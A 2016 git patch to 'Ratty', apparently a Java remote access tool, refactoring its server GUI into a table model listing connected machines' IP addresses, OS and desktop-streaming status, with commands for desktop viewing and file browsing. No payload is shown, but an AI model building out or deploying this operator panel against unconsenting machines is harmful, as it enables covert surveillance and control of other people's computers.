From 7759cd20c70b5d603a143563764519f2d8dc5d75 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Thu, 4 Feb 2016 14:10:49 +0100 Subject: [PATCH] Major changes Cleaned up GUI classes --- Ratty/src/de/sogomn/rat/Ratty.java | 2 +- .../de/sogomn/rat/server/gui/RattyGui.java | 77 ++---------- .../rat/server/gui/RattyGuiController.java | 24 +--- .../server/gui/ServerClientTableModel.java | 114 ++++++++++++++++++ 4 files changed, 132 insertions(+), 85 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 961a8d6..761628c 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -54,10 +54,10 @@ public final class Ratty { if (!newClient.isOpen()) { try { Thread.sleep(DISCONNECT_SLEEP_INTERVAL); - System.gc(); } catch (final InterruptedException ex) { ex.printStackTrace(); } finally { + System.gc(); connectToHost(address, port); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 25c9767..0be25f6 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -15,7 +15,6 @@ import javax.swing.JMenuItem; import javax.swing.JPopupMenu; import javax.swing.JScrollPane; import javax.swing.JTable; -import javax.swing.table.DefaultTableModel; import de.sogomn.engine.fx.SpriteSheet; import de.sogomn.engine.util.ImageUtils; @@ -25,25 +24,16 @@ public final class RattyGui { private JFrame frame; private JTable table; - private DefaultTableModel tableModel; - private long lastIdClicked; + private ServerClientTableModel tableModel; private JScrollPane scrollPane; private JPopupMenu menu; + private ServerClient lastServerClientClicked; private IGuiController controller; private static final Dimension SIZE = new Dimension(800, 400); - private static final String[] HEADERS = { - "ID", - "Name", - "IP address", - "OS", - "Version", - "Streaming" - }; - private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128); @@ -78,27 +68,9 @@ public final class RattyGui { } public RattyGui() { - final DefaultTableModel model = new DefaultTableModel() { - private static final long serialVersionUID = 365970129123372132L; - - @Override - public boolean isCellEditable(final int row, final int column) { - return false; - } - - @Override - public Class getColumnClass(final int columnIndex) { - if (columnIndex == 5) { //Column 5 = Streaming - return Boolean.class; - } - - return super.getColumnClass(columnIndex); - } - }; - frame = new JFrame(); table = new JTable(); - tableModel = model; + tableModel = new ServerClientTableModel(); scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); menu = new JPopupMenu(); @@ -115,12 +87,11 @@ public final class RattyGui { final Point mousePoint = m.getPoint(); final int rowIndex = table.rowAtPoint(mousePoint); - lastIdClicked = (Long)tableModel.getValueAt(rowIndex, 0); + lastServerClientClicked = tableModel.getServerClient(rowIndex); } }; scrollPane.setBorder(null); - tableModel.setColumnIdentifiers(HEADERS); table.setComponentPopupMenu(menu); table.addMouseListener(mouseAdapter); table.setModel(tableModel); @@ -155,48 +126,24 @@ public final class RattyGui { controller.userInput(command); } - private int getRowIndex(final long id) { - final int rows = tableModel.getRowCount(); - - for (int i = 0; i < rows; i++) { - final long rowId = (Long)tableModel.getValueAt(i, 0); - - if (rowId == id) { - return i; - } - } - - return -1; + public void updateTable() { + tableModel.fireTableDataChanged(); } - public void addTableRow(final long id, final String name, final String address, final String os, final String version) { - final Object[] data = {id, name, address, os, version, false}; - - tableModel.addRow(data); + public void addRow(final ServerClient client) { + tableModel.addServerClient(client); } - public void removeTableRow(final long id) { - final int rowIndex = getRowIndex(id); - - if (rowIndex != -1) { - tableModel.removeRow(rowIndex); - } - } - - public void setStreaming(final long id, final boolean state) { - final int rowIndex = getRowIndex(id); - - if (rowIndex != -1) { - tableModel.setValueAt(state, rowIndex, 5); //Column 5 = Streaming - } + public void removeRow(final ServerClient client) { + tableModel.removeServerClient(client); } public void setController(final IGuiController controller) { this.controller = controller; } - public long getLastIdClicked() { - return lastIdClicked; + public ServerClient getLastServerClientClicked() { + return lastServerClientClicked; } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index feee0c5..6c3a246 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -49,16 +49,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve gui.setController(this); } - private ServerClient getServerClient(final long id) { - for (final ServerClient client : clients) { - if (client.id == id) { - return client; - } - } - - return null; - } - private ServerClient getServerClient(final ActiveClient client) { for (final ServerClient serverClient : clients) { if (serverClient.client == client) { @@ -174,16 +164,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } private void handle(final ServerClient serverClient, final InformationPacket packet) { - final long id = serverClient.id; final String name = packet.getName(); - final String address = serverClient.client.getAddress(); final String os = packet.getOs(); final String version = packet.getVersion(); serverClient.logIn(name, os, version); serverClient.setController(this); - gui.addTableRow(id, name, address, os, version); + gui.addRow(serverClient); } @Override @@ -221,14 +209,13 @@ public final class RattyGuiController implements IServerObserver, IClientObserve public void clientDisconnected(final ActiveClient client) { final ServerClient serverClient = getServerClient(client); final FileTreePanel treePanel = serverClient.getTreePanel(); - final long id = serverClient.id; client.setObserver(null); client.close(); clients.remove(client); treePanel.setVisible(false); - gui.removeTableRow(id); + gui.removeRow(serverClient); } @Override @@ -250,8 +237,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public void userInput(final String command) { - final long lastIdClicked = gui.getLastIdClicked(); - final ServerClient serverClient = getServerClient(lastIdClicked); + final ServerClient serverClient = gui.getLastServerClientClicked(); final IPacket packet = getPacket(command, serverClient); if (packet != null) { @@ -260,10 +246,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve if (command == RattyGui.DESKTOP) { serverClient.setStreamingDesktop(true); - gui.setStreaming(lastIdClicked, true); + gui.updateTable(); } else if (command == RattyGui.DESKTOP_STOP) { serverClient.setStreamingDesktop(false); - gui.setStreaming(lastIdClicked, false); + gui.updateTable(); } else if (command == RattyGui.FILES) { final FileTreePanel treePanel = serverClient.getTreePanel(); diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java new file mode 100644 index 0000000..f722b71 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -0,0 +1,114 @@ +package de.sogomn.rat.server.gui; + +import java.util.ArrayList; + +import javax.swing.table.AbstractTableModel; + +final class ServerClientTableModel extends AbstractTableModel { + private static final long serialVersionUID = 919111102883611810L; + + private ArrayList serverClients; + + private static final int COLUMN_COUNT = 6; + private static final String[] HEADERS = { + "ID", + "Name", + "IP address", + "OS", + "Version", + "Streaming" + }; + + public ServerClientTableModel() { + serverClients = new ArrayList(); + } + + @Override + public String getColumnName(final int column) { + if (column <= HEADERS.length - 1 && column >= 0) { + return HEADERS[column]; + } + + return super.getColumnName(column); + } + + @Override + public Class getColumnClass(final int columnIndex) { + switch (columnIndex) { + case 0: + return String.class; + case 1: + return String.class; + case 2: + return String.class; + case 3: + return String.class; + case 4: + return String.class; + case 5: + return Boolean.class; + default: + return super.getColumnClass(columnIndex); + } + } + + @Override + public boolean isCellEditable(final int rowIndex, final int columnIndex) { + return false; + } + + @Override + public Object getValueAt(final int rowIndex, final int columnIndex) { + final ServerClient serverClient = getServerClient(rowIndex); + + if (serverClient == null) { + return null; + } + + switch (columnIndex) { + case 0: + return serverClient.id; + case 1: + return serverClient.getName(); + case 2: + return serverClient.client.getAddress(); + case 3: + return serverClient.getOs(); + case 4: + return serverClient.getVersion(); + case 5: + return serverClient.isStreamingDesktop(); + default: + return null; + } + } + + @Override + public int getColumnCount() { + return COLUMN_COUNT; + } + + @Override + public int getRowCount() { + return serverClients.size(); + } + + public void addServerClient(final ServerClient client) { + serverClients.add(client); + fireTableDataChanged(); + } + + public void removeServerClient(final ServerClient client) { + serverClients.remove(client); + fireTableDataChanged(); + } + + public ServerClient getServerClient(final int rowIndex) { + if (rowIndex <= serverClients.size() - 1 && rowIndex >= 0) { + return serverClients.get(rowIndex); + } + + return null; + } + +}